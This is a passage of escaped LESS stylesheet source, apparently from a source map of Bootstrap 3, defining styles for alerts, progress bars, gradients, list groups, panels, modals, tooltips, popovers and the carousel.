@alert-info-border; @alert-info-text);\n}\n\n.alert-warning {\n .alert-variant(@alert-warning-bg; @alert-warning-border; @alert-warning-text);\n}\n\n.alert-danger {\n .alert-variant(@alert-danger-bg; @alert-danger-border; @alert-danger-text);\n}\n","// Alerts\n\n.alert-variant(@background; @border; @text-color) {\n background-color: @background;\n border-color: @border;\n color: @text-color;\n\n hr {\n border-top-color: darken(@border, 5%);\n }\n .alert-link {\n color: darken(@text-color, 10%);\n }\n}\n","//\n// Progress bars\n// --------------------------------------------------\n\n\n// Bar animations\n// -------------------------\n\n// WebKit\n@-webkit-keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n// Spec and IE10+\n@keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n\n// Bar itself\n// -------------------------\n\n// Outer container\n.progress {\n overflow: hidden;\n height: @line-height-computed;\n margin-bottom: @line-height-computed;\n background-color: @progress-bg;\n border-radius: @progress-border-radius;\n .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));\n}\n\n// Bar of progress\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: @font-size-small;\n line-height: @line-height-computed;\n color: @progress-bar-color;\n text-align: center;\n background-color: @progress-bar-bg;\n .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));\n .transition(width .6s ease);\n}\n\n// Striped bars\n//\n// `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar-striped` class, which you just add to an existing\n// `.progress-bar`.\n.progress-striped .progress-bar,\n.progress-bar-striped {\n #gradient > .striped();\n background-size: 40px 40px;\n}\n\n// Call animation for the active one\n//\n// `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar.active` approach.\n.progress.active .progress-bar,\n.progress-bar.active {\n .animation(progress-bar-stripes 2s linear infinite);\n}\n\n\n// Variations\n// -------------------------\n\n.progress-bar-success {\n .progress-bar-variant(@progress-bar-success-bg);\n}\n\n.progress-bar-info {\n .progress-bar-variant(@progress-bar-info-bg);\n}\n\n.progress-bar-warning {\n .progress-bar-variant(@progress-bar-warning-bg);\n}\n\n.progress-bar-danger {\n .progress-bar-variant(@progress-bar-danger-bg);\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Progress bars\n\n.progress-bar-variant(@color) {\n background-color: @color;\n\n // Deprecated parent class requirement as of v3.2.0\n .progress-striped & {\n #gradient > .striped();\n }\n}\n",".media {\n // Proper spacing between instances of .media\n margin-top: 15px;\n\n &:first-child {\n margin-top: 0;\n }\n}\n\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n\n.media-body {\n width: 10000px;\n}\n\n.media-object {\n display: block;\n\n // Fix collapse in webkit from max-width: 100% and display: table-cell.\n &.img-thumbnail {\n max-width: none;\n }\n}\n\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n\n.media-middle {\n vertical-align: middle;\n}\n\n.media-bottom {\n vertical-align: bottom;\n}\n\n// Reset margins on headings for tighter default spacing\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n\n// Media list variation\n//\n// Undo default ul/ol styles\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n","//\n// List groups\n// --------------------------------------------------\n\n\n// Base class\n//\n// Easily usable on
    ,
      , or
      .\n\n.list-group {\n // No need to set list-style: none; since .list-group-item is block level\n margin-bottom: 20px;\n padding-left: 0; // reset padding because ul and ol\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n // Place the border on the list items and negative margin up for better styling\n margin-bottom: -1px;\n background-color: @list-group-bg;\n border: 1px solid @list-group-border;\n\n // Round the first and last items\n &:first-child {\n .border-top-radius(@list-group-border-radius);\n }\n &:last-child {\n margin-bottom: 0;\n .border-bottom-radius(@list-group-border-radius);\n }\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive items.\n// Includes an extra `.active` modifier class for showing selected items.\n\na.list-group-item,\nbutton.list-group-item {\n color: @list-group-link-color;\n\n .list-group-item-heading {\n color: @list-group-link-heading-color;\n }\n\n // Hover state\n &:hover,\n &:focus {\n text-decoration: none;\n color: @list-group-link-hover-color;\n background-color: @list-group-hover-bg;\n }\n}\n\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n\n.list-group-item {\n // Disabled state\n &.disabled,\n &.disabled:hover,\n &.disabled:focus {\n background-color: @list-group-disabled-bg;\n color: @list-group-disabled-color;\n cursor: @cursor-disabled;\n\n // Force color to inherit for custom content\n .list-group-item-heading {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-disabled-text-color;\n }\n }\n\n // Active class on item itself, not parent\n &.active,\n &.active:hover,\n &.active:focus {\n z-index: 2; // Place active items above their siblings for proper border styling\n color: @list-group-active-color;\n background-color: @list-group-active-bg;\n border-color: @list-group-active-border;\n\n // Force color to inherit for custom content\n .list-group-item-heading,\n .list-group-item-heading > small,\n .list-group-item-heading > .small {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-active-text-color;\n }\n }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n.list-group-item-variant(success; @state-success-bg; @state-success-text);\n.list-group-item-variant(info; @state-info-bg; @state-info-text);\n.list-group-item-variant(warning; @state-warning-bg; @state-warning-text);\n.list-group-item-variant(danger; @state-danger-bg; @state-danger-text);\n\n\n// Custom content options\n//\n// Extra classes for creating well-formatted content within `.list-group-item`s.\n\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n","// List Groups\n\n.list-group-item-variant(@state; @background; @color) {\n .list-group-item-@{state} {\n color: @color;\n background-color: @background;\n\n a&,\n button& {\n color: @color;\n\n .list-group-item-heading {\n color: inherit;\n }\n\n &:hover,\n &:focus {\n color: @color;\n background-color: darken(@background, 5%);\n }\n &.active,\n &.active:hover,\n &.active:focus {\n color: #fff;\n background-color: @color;\n border-color: @color;\n }\n }\n }\n}\n","//\n// Panels\n// --------------------------------------------------\n\n\n// Base class\n.panel {\n margin-bottom: @line-height-computed;\n background-color: @panel-bg;\n border: 1px solid transparent;\n border-radius: @panel-border-radius;\n .box-shadow(0 1px 1px rgba(0,0,0,.05));\n}\n\n// Panel contents\n.panel-body {\n padding: @panel-body-padding;\n &:extend(.clearfix all);\n}\n\n// Optional heading\n.panel-heading {\n padding: @panel-heading-padding;\n border-bottom: 1px solid transparent;\n .border-top-radius((@panel-border-radius - 1));\n\n > .dropdown .dropdown-toggle {\n color: inherit;\n }\n}\n\n// Within heading, strip any `h*` tag of its default margins for spacing.\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: ceil((@font-size-base * 1.125));\n color: inherit;\n\n > a,\n > small,\n > .small,\n > small > a,\n > .small > a {\n color: inherit;\n }\n}\n\n// Optional footer (stays gray in every modifier class)\n.panel-footer {\n padding: @panel-footer-padding;\n background-color: @panel-footer-bg;\n border-top: 1px solid @panel-inner-border;\n .border-bottom-radius((@panel-border-radius - 1));\n}\n\n\n// List groups in panels\n//\n// By default, space out list group content from panel headings to account for\n// any kind of custom content between the two.\n\n.panel {\n > .list-group,\n > .panel-collapse > .list-group {\n margin-bottom: 0;\n\n .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n }\n\n // Add border top radius for first one\n &:first-child {\n .list-group-item:first-child {\n border-top: 0;\n .border-top-radius((@panel-border-radius - 1));\n }\n }\n\n // Add border bottom radius for last one\n &:last-child {\n .list-group-item:last-child {\n border-bottom: 0;\n .border-bottom-radius((@panel-border-radius - 1));\n }\n }\n }\n > .panel-heading + .panel-collapse > .list-group {\n .list-group-item:first-child {\n .border-top-radius(0);\n }\n }\n}\n// Collapse space between when there's no additional content.\n.panel-heading + .list-group {\n .list-group-item:first-child {\n border-top-width: 0;\n }\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n\n// Tables in panels\n//\n// Place a non-bordered `.table` within a panel (not within a `.panel-body`) and\n// watch it go full width.\n\n.panel {\n > .table,\n > .table-responsive > .table,\n > .panel-collapse > .table {\n margin-bottom: 0;\n\n caption {\n padding-left: @panel-body-padding;\n padding-right: @panel-body-padding;\n }\n }\n // Add border top radius for first one\n > .table:first-child,\n > .table-responsive:first-child > .table:first-child {\n .border-top-radius((@panel-border-radius - 1));\n\n > thead:first-child,\n > tbody:first-child {\n > tr:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n border-top-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-top-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n // Add border bottom radius for last one\n > .table:last-child,\n > .table-responsive:last-child > .table:last-child {\n .border-bottom-radius((@panel-border-radius - 1));\n\n > tbody:last-child,\n > tfoot:last-child {\n > tr:last-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n border-bottom-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-bottom-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n > .panel-body + .table,\n > .panel-body + .table-responsive,\n > .table + .panel-body,\n > .table-responsive + .panel-body {\n border-top: 1px solid @table-border-color;\n }\n > .table > tbody:first-child > tr:first-child th,\n > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n }\n > .table-bordered,\n > .table-responsive > .table-bordered {\n border: 0;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n > thead,\n > tbody {\n > tr:first-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n > tbody,\n > tfoot {\n > tr:last-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n }\n > .table-responsive {\n border: 0;\n margin-bottom: 0;\n }\n}\n\n\n// Collapsible panels (aka, accordion)\n//\n// Wrap a series of panels in `.panel-group` to turn them into an accordion with\n// the help of our collapse JavaScript plugin.\n\n.panel-group {\n margin-bottom: @line-height-computed;\n\n // Tighten up margin so it's only between panels\n .panel {\n margin-bottom: 0;\n border-radius: @panel-border-radius;\n\n + .panel {\n margin-top: 5px;\n }\n }\n\n .panel-heading {\n border-bottom: 0;\n\n + .panel-collapse > .panel-body,\n + .panel-collapse > .list-group {\n border-top: 1px solid @panel-inner-border;\n }\n }\n\n .panel-footer {\n border-top: 0;\n + .panel-collapse .panel-body {\n border-bottom: 1px solid @panel-inner-border;\n }\n }\n}\n\n\n// Contextual variations\n.panel-default {\n .panel-variant(@panel-default-border; @panel-default-text; @panel-default-heading-bg; @panel-default-border);\n}\n.panel-primary {\n .panel-variant(@panel-primary-border; @panel-primary-text; @panel-primary-heading-bg; @panel-primary-border);\n}\n.panel-success {\n .panel-variant(@panel-success-border; @panel-success-text; @panel-success-heading-bg; @panel-success-border);\n}\n.panel-info {\n .panel-variant(@panel-info-border; @panel-info-text; @panel-info-heading-bg; @panel-info-border);\n}\n.panel-warning {\n .panel-variant(@panel-warning-border; @panel-warning-text; @panel-warning-heading-bg; @panel-warning-border);\n}\n.panel-danger {\n .panel-variant(@panel-danger-border; @panel-danger-text; @panel-danger-heading-bg; @panel-danger-border);\n}\n","// Panels\n\n.panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) {\n border-color: @border;\n\n & > .panel-heading {\n color: @heading-text-color;\n background-color: @heading-bg-color;\n border-color: @heading-border;\n\n + .panel-collapse > .panel-body {\n border-top-color: @border;\n }\n .badge {\n color: @heading-bg-color;\n background-color: @heading-text-color;\n }\n }\n & > .panel-footer {\n + .panel-collapse > .panel-body {\n border-bottom-color: @border;\n }\n }\n}\n","// Embeds responsive\n//\n// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n\n .embed-responsive-item,\n iframe,\n embed,\n object,\n video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n }\n}\n\n// Modifier class for 16:9 aspect ratio\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n\n// Modifier class for 4:3 aspect ratio\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n","//\n// Wells\n// --------------------------------------------------\n\n\n// Base class\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: @well-bg;\n border: 1px solid @well-border;\n border-radius: @border-radius-base;\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));\n blockquote {\n border-color: #ddd;\n border-color: rgba(0,0,0,.15);\n }\n}\n\n// Sizes\n.well-lg {\n padding: 24px;\n border-radius: @border-radius-large;\n}\n.well-sm {\n padding: 9px;\n border-radius: @border-radius-small;\n}\n","//\n// Close icons\n// --------------------------------------------------\n\n\n.close {\n float: right;\n font-size: (@font-size-base * 1.5);\n font-weight: @close-font-weight;\n line-height: 1;\n color: @close-color;\n text-shadow: @close-text-shadow;\n .opacity(.2);\n\n &:hover,\n &:focus {\n color: @close-color;\n text-decoration: none;\n cursor: pointer;\n .opacity(.5);\n }\n\n // Additional properties for button version\n // iOS requires the button element instead of an anchor tag.\n // If you want the anchor version, it requires `href=\"#\"`.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n button& {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n }\n}\n","//\n// Modals\n// --------------------------------------------------\n\n// .modal-open - body class for killing the scroll\n// .modal - container to scroll within\n// .modal-dialog - positioning shell for the actual modal\n// .modal-content - actual modal w/ bg and corners and shit\n\n// Kill the scroll on the body\n.modal-open {\n overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal;\n -webkit-overflow-scrolling: touch;\n\n // Prevent Chrome on Windows from adding a focus outline. For details, see\n // https://github.com/twbs/bootstrap/pull/10951.\n outline: 0;\n\n // When fading in the modal, animate it to slide down\n &.fade .modal-dialog {\n .translate(0, -25%);\n .transition-transform(~\"0.3s ease-out\");\n }\n &.in .modal-dialog { .translate(0, 0) }\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n\n// Actual modal\n.modal-content {\n position: relative;\n background-color: @modal-content-bg;\n border: 1px solid @modal-content-fallback-border-color; //old browsers fallback (ie8 etc)\n border: 1px solid @modal-content-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 3px 9px rgba(0,0,0,.5));\n background-clip: padding-box;\n // Remove focus outline from opened modal\n outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal-background;\n background-color: @modal-backdrop-bg;\n // Fade for backdrop\n &.fade { .opacity(0); }\n &.in { .opacity(@modal-backdrop-opacity); }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n padding: @modal-title-padding;\n border-bottom: 1px solid @modal-header-border-color;\n &:extend(.clearfix all);\n}\n// Close icon\n.modal-header .close {\n margin-top: -2px;\n}\n\n// Title text within header\n.modal-title {\n margin: 0;\n line-height: @modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n position: relative;\n padding: @modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n padding: @modal-inner-padding;\n text-align: right; // right align buttons\n border-top: 1px solid @modal-footer-border-color;\n &:extend(.clearfix all); // clear it in case folks use .pull-* classes on buttons\n\n // Properly space out buttons\n .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0; // account for input[type=\"submit\"] which gets the bottom margin like all other inputs\n }\n // but override that for button groups\n .btn-group .btn + .btn {\n margin-left: -1px;\n }\n // and override it for block buttons as well\n .btn-block + .btn-block {\n margin-left: 0;\n }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n// Scale up the modal\n@media (min-width: @screen-sm-min) {\n // Automatically set modal's width for larger viewports\n .modal-dialog {\n width: @modal-md;\n margin: 30px auto;\n }\n .modal-content {\n .box-shadow(0 5px 15px rgba(0,0,0,.5));\n }\n\n // Modal sizes\n .modal-sm { width: @modal-sm; }\n}\n\n@media (min-width: @screen-md-min) {\n .modal-lg { width: @modal-lg; }\n}\n","//\n// Tooltips\n// --------------------------------------------------\n\n\n// Base class\n.tooltip {\n position: absolute;\n z-index: @zindex-tooltip;\n display: block;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-small;\n\n .opacity(0);\n\n &.in { .opacity(@tooltip-opacity); }\n &.top { margin-top: -3px; padding: @tooltip-arrow-width 0; }\n &.right { margin-left: 3px; padding: 0 @tooltip-arrow-width; }\n &.bottom { margin-top: 3px; padding: @tooltip-arrow-width 0; }\n &.left { margin-left: -3px; padding: 0 @tooltip-arrow-width; }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n max-width: @tooltip-max-width;\n padding: 3px 8px;\n color: @tooltip-color;\n text-align: center;\n background-color: @tooltip-bg;\n border-radius: @border-radius-base;\n}\n\n// Arrows\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n// Note: Deprecated .top-left, .top-right, .bottom-left, and .bottom-right as of v3.3.1\n.tooltip {\n &.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-left .tooltip-arrow {\n bottom: 0;\n right: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-right .tooltip-arrow {\n bottom: 0;\n left: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width @tooltip-arrow-width 0;\n border-right-color: @tooltip-arrow-color;\n }\n &.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-left-color: @tooltip-arrow-color;\n }\n &.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-left .tooltip-arrow {\n top: 0;\n right: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-right .tooltip-arrow {\n top: 0;\n left: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n}\n",".reset-text() {\n font-family: @font-family-base;\n // We deliberately do NOT reset font-size.\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: @line-height-base;\n text-align: left; // Fallback for where `start` is not supported\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n}\n","//\n// Popovers\n// --------------------------------------------------\n\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: @zindex-popover;\n display: none;\n max-width: @popover-max-width;\n padding: 1px;\n // Our parent element can be arbitrary since popovers are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-base;\n\n background-color: @popover-bg;\n background-clip: padding-box;\n border: 1px solid @popover-fallback-border-color;\n border: 1px solid @popover-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 5px 10px rgba(0,0,0,.2));\n\n // Offset the popover to account for the popover arrow\n &.top { margin-top: -@popover-arrow-width; }\n &.right { margin-left: @popover-arrow-width; }\n &.bottom { margin-top: @popover-arrow-width; }\n &.left { margin-left: -@popover-arrow-width; }\n}\n\n.popover-title {\n margin: 0; // reset heading margin\n padding: 8px 14px;\n font-size: @font-size-base;\n background-color: @popover-title-bg;\n border-bottom: 1px solid darken(@popover-title-bg, 5%);\n border-radius: (@border-radius-large - 1) (@border-radius-large - 1) 0 0;\n}\n\n.popover-content {\n padding: 9px 14px;\n}\n\n// Arrows\n//\n// .arrow is outer, .arrow:after is inner\n\n.popover > .arrow {\n &,\n &:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n }\n}\n.popover > .arrow {\n border-width: @popover-arrow-outer-width;\n}\n.popover > .arrow:after {\n border-width: @popover-arrow-width;\n content: \"\";\n}\n\n.popover {\n &.top > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-top-color: @popover-arrow-outer-color;\n bottom: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n bottom: 1px;\n margin-left: -@popover-arrow-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-color;\n }\n }\n &.right > .arrow {\n top: 50%;\n left: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-right-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n left: 1px;\n bottom: -@popover-arrow-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-color;\n }\n }\n &.bottom > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-bottom-color: @popover-arrow-outer-color;\n top: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n top: 1px;\n margin-left: -@popover-arrow-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-color;\n }\n }\n\n &.left > .arrow {\n top: 50%;\n right: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-right-width: 0;\n border-left-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-left-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: @popover-arrow-color;\n bottom: -@popover-arrow-width;\n }\n }\n}\n","//\n// Carousel\n// --------------------------------------------------\n\n\n// Wrapper for the slide container and indicators\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n\n > .item {\n display: none;\n position: relative;\n .transition(.6s ease-in-out left);\n\n // Account for jankitude on images\n > img,\n > a > img {\n &:extend(.img-responsive);\n line-height: 1;\n }\n\n // WebKit CSS3 transforms for supported devices\n @media all and (transform-3d), (-webkit-transform-3d) {\n .transition-transform(~'0.6s ease-in-out');\n .backface-visibility(~'hidden');\n .perspective(1000px);\n\n &.next,\n &.active.right {\n .translate3d(100%, 0, 0);\n left: 0;\n }\n &.prev,\n &.active.left {\n .translate3d(-100%, 0, 0);\n left: 0;\n }\n &.next.left,\n &.prev.right,\n &.active {\n .translate3d(0, 0, 0);\n left: 0;\n }\n }\n }\n\n > .active,\n > .next,\n > .prev {\n display: block;\n }\n\n > .active {\n left: 0;\n }\n\n > .next,\n > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n }\n\n > .next {\n left: 100%;\n }\n > .prev {\n left: -100%;\n }\n > .next.left,\n > .prev.right {\n left: 0;\n }\n\n > .active.left {\n left: -100%;\n }\n > .active.right {\n left: 100%;\n }\n\n}\n\n// Left/right controls for nav\n// ---------------------------\n\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: @carousel-control-width;\n .opacity(@carousel-control-opacity);\n font-size: @carousel-control-font-size;\n color: @carousel-control-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n background-color: rgba(0, 0, 0, 0); // Fix IE9 click-thru bug\n // We can't have this transition here because WebKit cancels the carousel\n // animation if you trip this while in the middle of another animation.\n\n // Set gradients for backgrounds\n &.left {\n #gradient > .horizontal(@start-color: rgba(0,0,0,.5); @end-color: rgba(0,0,0,.0001));\n }\n &.right {\n left: auto;\n right: 0;\n #gradient > .horizontal(@start-color: rgba(0,0,0,.0001); @end-color: rgba(0,0,0,.5));\n }\n\n // Hover/focus state\n &:hover,\n &:focus {\n outline: 0;\n color: @carousel-control-color;\n text-decoration: none;\n .opacity(.9);\n }\n\n // Toggles\n .icon-prev,\n .icon-next,\n .glyphicon-chevron-left,\n .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n }\n .icon-prev,\n .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n }\n .icon-next,\n 